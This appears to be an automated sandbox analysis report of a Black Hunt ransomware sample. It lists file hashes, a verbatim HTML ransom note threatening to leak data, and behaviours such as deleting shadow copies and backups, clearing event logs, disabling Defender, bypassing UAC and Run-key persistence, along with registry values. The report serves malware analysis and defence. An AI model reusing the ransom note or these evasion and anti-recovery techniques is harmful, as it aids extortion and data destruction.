10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:32

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General

Target

10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
Size

707KB
MD5

f1660a88f6ebeea219fb4a54e1811820
SHA1

350a0f76cd26e158ee10ed4baad419048682b8a7
SHA256

10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72
SHA512

d744e45d2b0e12feff36a4ad2702a9dbf01da1ce2524ff4f7b110e344360a17ca9d2c384c97ce9631d61c13ec8d68bd719b6f301d6d59f4ea8dd903d34bbe075
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza118jvnh:6uaTmkZJ+naie5OTamgEoKxLWgDh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1Ii8+IDxwaG90b3Nob3A6VGV4dExheWVycz4gPHJkZjpCYWc+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iSHVudCAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJIdW50ICAiLz4gPHJkZjpsaSBwaG90b3Nob3A6TGF5ZXJOYW1lPSJCbGFjayAgIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSJCbGFjayAgIi8+IDxyZGY6bGkgcGhvdG9zaG9wOkxheWVyTmFtZT0iMi4wIiBwaG90b3Nob3A6TGF5ZXJUZXh0PSIyLjAiLz4gPC9yZGY6QmFnPiA8L3Bob3Rvc2hvcDpUZXh0TGF5ZXJzPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PvFKMOAAAAS2SURBVGje7Vq/ixNBFM55vQRtLLe2itoEbPIHpEghB4LBdFaB9Gm2sNhCIU0qm1x/RSz0EEHWw8LikFRBQXERUWOVSrSQdVbeHO++vPd2ci4BuQx83LGz82Pnfe+9b2ZSy/O8tsUWBc7Xx54uLYdvDt8dFhWj6Pfzf4KvDq+F9fmnMnCIGaLaBgp9RIxjB5ChmG++xV88l8jQEBbWY0D1ql0A9dpmSl0aO4AMj7YkOMFDiQxxQMOZQIoWvJPVNldWxg5IE7sOr7YkOMEdiQxpYOMleD6G3OkGyYAEngaQ4YrDF94u293NF4Tif17XdFiw+qMLFzZusGRnJx8Tug4V9v2rcG6JDEshCqTC85w80pcJ1MVGSG+dQU/4dlKamuLYAWS46fA71Nh9t/i8flytMUrRhvErJsMHh0tIhkh4kRtjaZBhZtR5LYJRZ0Tg0QZLT+g7o+e+ZDg2fVhDmPOI2txbx9hjqO9vmAz7jpx8/Kja/p8yIX5SOkJUsMgQBYrHnhJZECmMV5ayIk08KkSYsP5H1mKj5x1BfZORqKjzGFK7JrXx2GeRhj9vU9jPICp5Yw+pf17v3/HtKyDDA4kMsWCcFpEkVTysTDw2AomAqWVW8m7PGLsuRIsJ+9gdhxeWsdHzND2hkUiLNF14jkb2SOj9A+gfUVGE2JPIkJ7BaGXiMRWEZ0fI8zk913Y0MRl+AilCIjASaQaa4bLDR/7OQvE8D153CF4uGUdLKwk81+DJc2yQYQ4i94z46XBDIkNoKEc9oInHhtC+YaSWSJlHbAjLacA2uA5kuEYKWhRnoYZCEnHjaCRBTy8iQ5EK0Oh8DGzTrlavvPUpnZMhUrwxViJGI0A8xoYGaQgRQwr7ZYdXWdn2V9hN3OXvDdckg08FSCIeMTKFJMeBkWTIDD6H8SsWp0/gJFcUjyks+sjwVs14qdGmp4wXl8yj7ORxhbQCGRJLPBaeOGZ7+rmSp4eKLsBtKieJtn09VLw/WuN8oyBpkYaaQl1EKaoA6IxEIkNsCESpPg4QjxYZNHKtQ4ZWABkmAhmeWeIR+9BSwYEiHoeB4pHvMDTv7waeb3AyoZaIICIdnybUnkSGVFHrPoVgOB4o4jE1yDAytERH6Y+fdDYgZcTKLmOp3VNQ+/easWGhzFSAJCq8rg/bRE6SREkFlvePDQLhPIc0NpLBj8ujHEWHHw7XJTJoJ49ZyVF0bGz7UkWA5oZ4lIiSMV0yNcTjiD4Io86AkeEqLYLoeQew2OjlCfPMo5JtH6YVLRX0DYOPBT1T9COdQPq5Yp0ft8nmTHOaO1xEMkRrio5eiXfGa14RL9e8H+kEnDyKF1eu3JK8RjK2lQpCycC9VEsF1ummJm4xQnjdM6eIE9HcI/YN+3R4xeb0WPgpwIp41DANuK3kZKgrh0cTMHgqCMOZQZxO2bW1QJQO+91DkLEl9W8dYftQzI3r04qVCrTTTW2OIakkoZTRpksthWz3JTJEZFQLZVfIIzJyDISpU4RI2cGR995WyaVVj/pN6W+Ppac6zhGEIn5TRM9fVrk1a1Kq6a6q9MovqroM2hy6bDfRFN4Bot1eIcM5+9nbG4dPW9TekX46v2TYwsYf/4cvUeVs4qUAAAAASUVORK5CYII= " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> hRYZHBMe8Du5vJkJ </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
3000	fsutil.exe
4364	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
4260	wevtutil.exe
4192	wevtutil.exe
4528	wevtutil.exe
4520	wevtutil.exe
4424	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1048	bcdedit.exe
2888	bcdedit.exe
4760	bcdedit.exe
3916	bcdedit.exe

Renames multiple (2879) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2236	wbadmin.exe
4240	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
4184	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\K:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\A:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\L:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\G:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\Q:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\E:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\S:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\V:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\M:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\Y:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\U:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\O:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\J:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\R:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\T:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\I:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\B:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\N:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\P:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\Z:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\X:	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-928733405-3780110381-2966456290-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-nodes.xml	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist.json	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files (x86)\Uninstall Information\#BlackHunt_ReadMe.txt	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\Algiers	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santarem	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.core.nl_zh_4.4.0.v20140623020002.jar	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\org-openide-modules_zh_CN.jar	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-spi-actions.jar	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Chicago	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\VideoLAN\VLC\locale\cs\#BlackHunt_ReadMe.hta	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\VideoLAN\VLC\locale\en_GB\#BlackHunt_Private.key	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\jfxrt.jar	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Pacific\Easter	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\config\Modules\org-netbeans-core-ui.xml	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\#BlackHunt_Private.key	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\feedback.gif	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\VideoLAN\VLC\locale\si\LC_MESSAGES\#BlackHunt_ReadMe.hta	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\CourierStd-Oblique.otf	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_it.jar	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\Java\jre7\lib\ext\#BlackHunt_ReadMe.hta	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\#BlackHunt_ReadMe.txt	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\jamendo.luac	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Vignette\#BlackHunt_Private.key	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\images\winXPOlive.png	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\intf\http.luac	10b4921dbf94a5654138b659460645cc58f415e0d17ba9ab981a46935ecb4f72.exe
